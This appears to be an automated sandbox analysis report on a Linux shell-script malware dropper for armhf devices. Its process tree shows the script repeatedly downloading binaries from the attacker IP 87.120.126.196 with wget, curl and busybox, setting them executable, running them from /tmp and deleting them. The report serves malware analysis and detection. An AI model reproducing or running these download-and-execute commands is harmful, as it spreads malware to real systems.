Analysis

  • max time kernel
    15s
  • max time network
    52s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2024, 02:15

General

  • Target
    33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb.sh
  • Size 10KB
  • Sample241027-cplmzazmel
  • SHA256 33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb.sh
    /tmp/33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
          2⤵
            PID:664
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:672
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
            2⤵
              PID:681
            • /bin/chmod
              chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
              2⤵
              • File and Directory Permissions Modification
              PID:686
            • /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
              ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
              2⤵
              • Executes dropped EXE
              PID:688
            • /bin/rm
              rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
              2⤵
                PID:689
              • /usr/bin/wget
                wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • System Network Configuration Discovery
                PID:690
              • /usr/bin/curl
                curl -O http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:691
              • /bin/busybox
                /bin/busybox wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • System Network Configuration Discovery
                PID:692
              • /bin/chmod
                chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • File and Directory Permissions Modification
                PID:693
              • /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • Executes dropped EXE
                • System Network Configuration Discovery
                PID:694
              • /bin/rm
                rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
                2⤵
                • System Network Configuration Discovery
                PID:695
              • /usr/bin/wget
                wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                2⤵
                  PID:696
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                  2⤵
                    PID:701
                  • /bin/chmod
                    chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                    2⤵
                    • File and Directory Permissions Modification
                    PID:703
                  • /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                    ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                    2⤵
                    • Executes dropped EXE
                    PID:705
                  • /bin/rm
                    rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
                    2⤵
                      PID:706
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                      2⤵
                        PID:708
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:711
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                        2⤵
                          PID:716
                        • /bin/chmod
                          chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                          2⤵
                          • File and Directory Permissions Modification
                          PID:719
                        • /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                          ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                          2⤵
                          • Executes dropped EXE
                          PID:720
                        • /bin/rm
                          rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
                          2⤵
                            PID:721
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                            2⤵
                              PID:723
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:727
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                              2⤵
                                PID:731
                              • /bin/chmod
                                chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                                2⤵
                                • File and Directory Permissions Modification
                                PID:735
                              • /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                                ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                                2⤵
                                • Executes dropped EXE
                                PID:737
                              • /bin/rm
                                rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
                                2⤵
                                  PID:738
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                  2⤵
                                    PID:740
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:746
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                    2⤵
                                      PID:752
                                    • /bin/chmod
                                      chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:757
                                    • /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                      ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                      2⤵
                                      • Executes dropped EXE
                                      PID:758
                                    • /bin/rm
                                      rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
                                      2⤵
                                        PID:760
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                        2⤵
                                          PID:761
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:766
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                          2⤵
                                            PID:769
                                          • /bin/chmod
                                            chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:776
                                          • /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                            ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                            2⤵
                                            • Executes dropped EXE
                                            PID:777
                                          • /bin/rm
                                            rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
                                            2⤵
                                              PID:778
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:780
                                            • /usr/bin/curl
                                              curl -O http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:784
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:789
                                            • /bin/chmod
                                              chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:792
                                            • /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:793
                                            • /bin/rm
                                              rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:794
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:796
                                            • /usr/bin/curl
                                              curl -O http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:799
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:803
                                            • /bin/chmod
                                              chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:807
                                            • /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • Executes dropped EXE
                                              • System Network Configuration Discovery
                                              PID:809
                                            • /bin/rm
                                              rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:810
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                              2⤵
                                                PID:811
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:816
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                2⤵
                                                  PID:817
                                                • /bin/chmod
                                                  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:818
                                                • /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:819
                                                • /bin/rm
                                                  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
                                                  2⤵
                                                    PID:820
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                    2⤵
                                                      PID:821
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:822
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                      2⤵
                                                        PID:823
                                                      • /bin/chmod
                                                        chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:824
                                                      • /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                        ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:825
                                                      • /bin/rm
                                                        rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
                                                        2⤵
                                                          PID:826
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:827
                                                        • /usr/bin/curl
                                                          curl -O http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • System Network Configuration Discovery
                                                          • Writes file to tmp directory
                                                          PID:828
                                                        • /bin/busybox
                                                          /bin/busybox wget http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:829
                                                        • /bin/chmod
                                                          chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:830
                                                        • /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • System Network Configuration Discovery
                                                          PID:831
                                                        • /bin/rm
                                                          rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
                                                          2⤵
                                                          • System Network Configuration Discovery
                                                          PID:832
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                          2⤵
                                                            PID:833
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:834
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                            2⤵
                                                              PID:835
                                                            • /bin/chmod
                                                              chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:836
                                                            • /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                              ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:837
                                                            • /bin/rm
                                                              rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
                                                              2⤵
                                                                PID:838
                                                              • /usr/bin/wget
                                                                wget http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
                                                                2⤵
                                                                  PID:839

                                                              Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX

                                                                    • Path /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
                                                                    • Size 153B
                                                                    • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                    • MD5 SHA1 SHA512